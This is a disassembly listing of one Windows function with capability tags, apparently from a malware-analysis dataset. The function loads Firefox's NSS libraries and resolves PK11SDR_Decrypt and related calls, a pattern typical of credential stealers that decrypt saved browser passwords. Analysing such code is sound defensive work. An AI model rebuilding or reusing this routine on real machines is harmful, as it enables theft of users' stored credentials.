Function at 0x40eea0
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x20c]
mov edi, ecx
push 0
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [ebp + 8]
call fcn.00403320
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x41f414
lea ecx, [ebp + 8]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x22c]
call fcn.00403c50
push str.nss3.dll
lea ecx, [ebp - 0x22c]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x218]
call fcn.00403c50
push str.msvcr120.dll
lea ecx, [ebp - 0x218]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x214]
call fcn.00403c50
push str.msvcp120.dll
lea ecx, [ebp - 0x214]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x228]
call fcn.00403c50
push str.mozglue.dll
lea ecx, [ebp - 0x228]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x224]
call fcn.00403c50
push str.softokn3.dll
lea ecx, [ebp - 0x224]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x220]
call fcn.00403c50
push str.msvcp
lea ecx, [ebp - 0x220]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x21c]
call fcn.00403c50
push str.msvcr
lea ecx, [ebp - 0x21c]
call fcn.00403780
mov esi, 0x5a
nop dword [eax]
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x210]
call fcn.00403c50
push 0x41fd80
push esi
lea ecx, [ebp - 0x210]
call fcn.00403a50
mov ecx, eax
call fcn.00403780
lea eax, [ebp - 0x210]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
jne 0x40f035
lea ecx, [ebp - 0x210]
add esi, 0xa
call fcn.00403ca0
cmp esi, 0x96
jne 0x40efe0
jmp 0x40f052
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x214]
call fcn.00403b40
lea ecx, [ebp - 0x210]
call fcn.00403ca0
mov esi, 0x5a
nop word [eax + eax]
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x210]
call fcn.00403c50
push 0x41fd80
push esi
lea ecx, [ebp - 0x210]
call fcn.00403a50
mov ecx, eax
call fcn.00403780
lea eax, [ebp - 0x210]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
jne 0x40f0b5
lea ecx, [ebp - 0x210]
add esi, 0xa
call fcn.00403ca0
cmp esi, 0x96
jne 0x40f060
jmp 0x40f0d2
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x218]
call fcn.00403b40
lea ecx, [ebp - 0x210]
call fcn.00403ca0
lea ecx, [ebp - 0x218]
call fcn.00403320
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
lea ecx, [ebp - 0x214]
mov dword [edi + 0xa0], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0x228]
mov dword [edi + 0xa4], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0x22c]
mov dword [edi + 0xa8], eax
call fcn.00403320
push eax
call esi
lea ecx, [ebp - 0x224]
mov dword [edi + 0xac], eax
call fcn.00403320
push eax
call esi
cmp dword [edi + 0xa4], 0
mov dword [edi + 0xb0], eax
je 0x40f241
cmp dword [edi + 0xa8], 0
je 0x40f241
mov ecx, dword [edi + 0xac]
test ecx, ecx
je 0x40f241
test eax, eax
je 0x40f241
push 0
push str.NSS_Init
push ecx
call fcn.004159e0
push 0
push str.PK11_GetInternalKeySlot
push dword [edi + 0xac]
mov dword [edi + 0x60], eax
call fcn.004159e0
push 0
push str.PK11_Authenticate
push dword [edi + 0xac]
mov dword [edi + 0x78], eax
call fcn.004159e0
push 0
push str.PK11SDR_Decrypt
push dword [edi + 0xac]
mov dword [edi + 0x74], eax
call fcn.004159e0
push 0
push str.NSSBase64_DecodeBuffer
push dword [edi + 0xac]
mov dword [edi + 0x68], eax
call fcn.004159e0
push 0
push str.PK11_CheckUserPassword
push dword [edi + 0xac]
mov dword [edi + 0x6c], eax
call fcn.004159e0
add esp, 0x48
mov dword [edi + 0x70], eax
push 0
push str.NSS_Shutdown
push dword [edi + 0xac]
call fcn.004159e0
push 0
push str.PK11_FreeSlot
push dword [edi + 0xac]
mov dword [edi + 0x64], eax
call fcn.004159e0
push 0
push str.PR_GetError
push dword [edi + 0xac]
mov dword [edi + 0x7c], eax
call fcn.004159e0
add esp, 0x24
mov dword [edi + 0x80], eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, 1
jmp 0x40f243
xor esi, esi
lea ecx, [ebp - 0x21c]
call fcn.00403ca0
lea ecx, [ebp - 0x220]
call fcn.00403ca0
lea ecx, [ebp - 0x224]
call fcn.00403ca0
lea ecx, [ebp - 0x228]
call fcn.00403ca0
lea ecx, [ebp - 0x214]
call fcn.00403ca0
lea ecx, [ebp - 0x218]
call fcn.00403ca0
lea ecx, [ebp - 0x22c]
call fcn.00403ca0
lea ecx, [ebp + 8]
call fcn.00403ca0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret 4